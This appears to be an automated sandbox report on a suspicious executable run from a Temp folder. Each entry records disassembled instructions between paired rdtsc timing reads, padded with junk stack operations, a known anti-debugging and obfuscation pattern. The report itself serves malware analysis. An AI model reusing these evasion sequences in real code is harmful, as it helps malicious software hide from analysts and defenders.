Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA4B42 second address: EA4B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F473118FE56h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EAE29A second address: EAE2DE instructions: 0x00000000 rdtsc 0x00000002 js 00007F47311907A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f pushad 0x00000010 mov dx, ax 0x00000013 clc 0x00000014 popad 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F47311907A8h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA7B83 second address: EA7B87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA5B4C second address: EA5B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EAC36A second address: EAC36E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EAE2DE second address: EAE2E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA5B51 second address: EA5B56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA7B87 second address: EA7C10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a nop 0x0000000b push edi 0x0000000c mov dword ptr [ebp+122D2D5Ch], ecx 0x00000012 pop edi 0x00000013 push dword ptr fs:[00000000h] 0x0000001a and di, 284Bh 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007F47311907A8h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000017h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 or dword ptr [ebp+122D18D6h], ecx 0x00000046 mov eax, dword ptr [ebp+122D139Dh] 0x0000004c sub dword ptr [ebp+124743A3h], esi 0x00000052 push FFFFFFFFh 0x00000054 mov di, FB54h 0x00000058 nop 0x00000059 push eax 0x0000005a push edx 0x0000005b jbe 00007F47311907B6h 0x00000061 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EAD394 second address: EAD39A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA7C10 second address: EA7C28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F47311907B3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EAD39A second address: EAD3C0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F473118FE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F473118FE67h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EB1310 second address: EB1314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EB1314 second address: EB1318 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EB1318 second address: EB131E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EB519E second address: EB51A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EB51A4 second address: EB51A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EB23BC second address: EB2455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007F473118FE58h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 mov ebx, dword ptr [ebp+122D336Ah] 0x00000027 push edx 0x00000028 mov edi, dword ptr [ebp+122D260Bh] 0x0000002e pop ebx 0x0000002f push dword ptr fs:[00000000h] 0x00000036 jmp 00007F473118FE62h 0x0000003b or bh, FFFFFF81h 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 cld 0x00000046 mov eax, dword ptr [ebp+122D0E5Dh] 0x0000004c mov ebx, dword ptr [ebp+122D2FDDh] 0x00000052 push FFFFFFFFh 0x00000054 push 00000000h 0x00000056 push edi 0x00000057 call 00007F473118FE58h 0x0000005c pop edi 0x0000005d mov dword ptr [esp+04h], edi 0x00000061 add dword ptr [esp+04h], 00000017h 0x00000069 inc edi 0x0000006a push edi 0x0000006b ret 0x0000006c pop edi 0x0000006d ret 0x0000006e sbb bl, 0000005Ah 0x00000071 sub dword ptr [ebp+122D2336h], ebx 0x00000077 push eax 0x00000078 push esi 0x00000079 pushad 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EB2455 second address: EB245B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EB1468 second address: EB146C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EB146C second address: EB1470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EB1470 second address: EB1517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F473118FE58h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 jns 00007F473118FE5Ch 0x00000028 sub di, 5ED0h 0x0000002d push dword ptr fs:[00000000h] 0x00000034 jbe 00007F473118FE5Dh 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 jmp 00007F473118FE60h 0x00000046 mov eax, dword ptr [ebp+122D0ED5h] 0x0000004c mov dword ptr [ebp+122D21A9h], edi 0x00000052 sub dword ptr [ebp+122D2DD0h], eax 0x00000058 push FFFFFFFFh 0x0000005a nop 0x0000005b push eax 0x0000005c jmp 00007F473118FE65h 0x00000061 pop eax 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jnl 00007F473118FE66h 0x0000006b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EAE443 second address: EAE44D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F47311907A6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EAE44D second address: EAE4F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F473118FE58h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 push dword ptr fs:[00000000h] 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007F473118FE58h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 00000015h 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 jnl 00007F473118FE5Ch 0x0000004a mov dword ptr fs:[00000000h], esp 0x00000051 mov ebx, dword ptr [ebp+1244CE58h] 0x00000057 mov eax, dword ptr [ebp+122D1499h] 0x0000005d mov ebx, dword ptr [ebp+122D1D5Ch] 0x00000063 push FFFFFFFFh 0x00000065 mov edi, dword ptr [ebp+122D35DEh] 0x0000006b jmp 00007F473118FE67h 0x00000070 nop 0x00000071 push eax 0x00000072 push edx 0x00000073 push edi 0x00000074 jmp 00007F473118FE63h 0x00000079 pop edi 0x0000007a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EBD91D second address: EBD921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EBD921 second address: EBD938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F473118FE61h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EBD938 second address: EBD95D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jng 00007F47311907A6h 0x00000013 jmp 00007F47311907B1h 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EBD95D second address: EBD963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EBD22D second address: EBD244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jmp 00007F47311907B0h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EC434C second address: EC435E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EC442F second address: EC4435 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EC4435 second address: CEC76E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F473118FE63h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 72F248EDh 0x00000012 jmp 00007F473118FE66h 0x00000017 push dword ptr [ebp+122D0631h] 0x0000001d clc 0x0000001e call dword ptr [ebp+122D2363h] 0x00000024 pushad 0x00000025 jmp 00007F473118FE5Eh 0x0000002a or dword ptr [ebp+122D1FF0h], esi 0x00000030 xor eax, eax 0x00000032 add dword ptr [ebp+122D1FF0h], edx 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c stc 0x0000003d mov dword ptr [ebp+122D3486h], eax 0x00000043 mov dword ptr [ebp+122D2EB7h], edi 0x00000049 mov esi, 0000003Ch 0x0000004e jbe 00007F473118FE5Ch 0x00000054 jnp 00007F473118FE57h 0x0000005a cmc 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f or dword ptr [ebp+122D1FF0h], eax 0x00000065 lodsw 0x00000067 stc 0x00000068 add eax, dword ptr [esp+24h] 0x0000006c mov dword ptr [ebp+122D2EB7h], ebx 0x00000072 mov ebx, dword ptr [esp+24h] 0x00000076 mov dword ptr [ebp+122D1FF0h], edx 0x0000007c nop 0x0000007d pushad 0x0000007e push eax 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EC9335 second address: EC934C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F47311907A6h 0x0000000b push edi 0x0000000c pop edi 0x0000000d jng 00007F47311907A6h 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EC9AAC second address: EC9AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F473118FE62h 0x0000000a jmp 00007F473118FE5Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EC9F40 second address: EC9F4F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F47311907AAh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EC9F4F second address: EC9F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EC9F55 second address: EC9F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECA220 second address: ECA256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F473118FE66h 0x0000000b popad 0x0000000c jmp 00007F473118FE62h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECA256 second address: ECA25C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECA25C second address: ECA260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECA260 second address: ECA271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F47311907A6h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECA271 second address: ECA278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECA278 second address: ECA284 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F47311907AEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E5E778 second address: E5E77E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E5E77E second address: E5E784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E5E784 second address: E5E788 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E5E788 second address: E5E796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E5E796 second address: E5E79A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECF2C2 second address: ECF2CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECF2CE second address: ECF2DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push ecx 0x00000007 push esi 0x00000008 jo 00007F473118FE56h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECF46D second address: ECF484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47311907B0h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECF484 second address: ECF4B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE65h 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007F473118FE62h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECEAF3 second address: ECEB09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECEB09 second address: ECEB10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECF810 second address: ECF826 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECF989 second address: ECF9AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jne 00007F473118FE56h 0x0000000b jmp 00007F473118FE67h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECF9AC second address: ECF9C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push edi 0x00000006 pop edi 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b ja 00007F47311907A6h 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECFB39 second address: ECFB56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Dh 0x00000007 jo 00007F473118FE62h 0x0000000d jng 00007F473118FE56h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ECFE07 second address: ECFE11 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F47311907A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ED2E04 second address: ED2E0C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ED2E0C second address: ED2E1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47311907ABh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ED2E1B second address: ED2E29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F473118FE56h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ED8AEC second address: ED8AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ED7610 second address: ED7616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ED7616 second address: ED761B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ED7DB5 second address: ED7DCD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F473118FE5Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ED7DCD second address: ED7DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ED83C2 second address: ED83CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F473118FE56h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ED851E second address: ED8526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ED8526 second address: ED852B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ED852B second address: ED8541 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F47311907A6h 0x00000009 pushad 0x0000000a popad 0x0000000b jp 00007F47311907A6h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: ED8541 second address: ED8545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E5B140 second address: E5B144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E5B144 second address: E5B15A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F473118FE5Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E5B15A second address: E5B15E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9B09B second address: E9B0FD instructions: 0x00000000 rdtsc 0x00000002 js 00007F473118FE58h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edi 0x0000000f jmp 00007F473118FE61h 0x00000014 pop edi 0x00000015 jnc 00007F473118FE5Ch 0x0000001b popad 0x0000001c nop 0x0000001d call 00007F473118FE62h 0x00000022 mov di, 9C38h 0x00000026 pop ecx 0x00000027 lea eax, dword ptr [ebp+12481E4Bh] 0x0000002d mov ecx, dword ptr [ebp+122D35AAh] 0x00000033 mov edi, dword ptr [ebp+122D2C78h] 0x00000039 push eax 0x0000003a jc 00007F473118FE6Eh 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
